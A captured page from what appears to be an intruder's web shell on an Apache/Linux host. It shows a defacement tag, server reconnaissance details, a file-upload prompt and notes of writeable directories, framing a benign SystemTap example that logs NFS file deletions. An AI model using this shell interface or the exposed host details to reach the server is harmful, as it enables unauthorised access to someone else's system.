Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /proc/self/root/usr/share/systemtap/examples/network/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/systemtap/examples/network/nfsd_unlink.stp
#!/usr/bin/stap

global nfsd_unlink_active, vsf_unlink_success

probe nfsd.unlink
{
  nfsd_unlink_active[tid()] = 1;
}

probe nfsd.unlink.return
{
  if (vsf_unlink_success[tid()]) {
    printf("address %s unlinks %s\n",
           ip_ntop(addr_from_rqst(@entry($rqstp))),
           kernel_string(@entry($fname)))
    delete vsf_unlink_success[tid()]
  }
  delete nfsd_unlink_active[tid()]
}

probe kernel.function("vfs_unlink").return
{
  if (nfsd_unlink_active[tid()] && $return == 0)
    vsf_unlink_success[tid()] = 1
}

Hry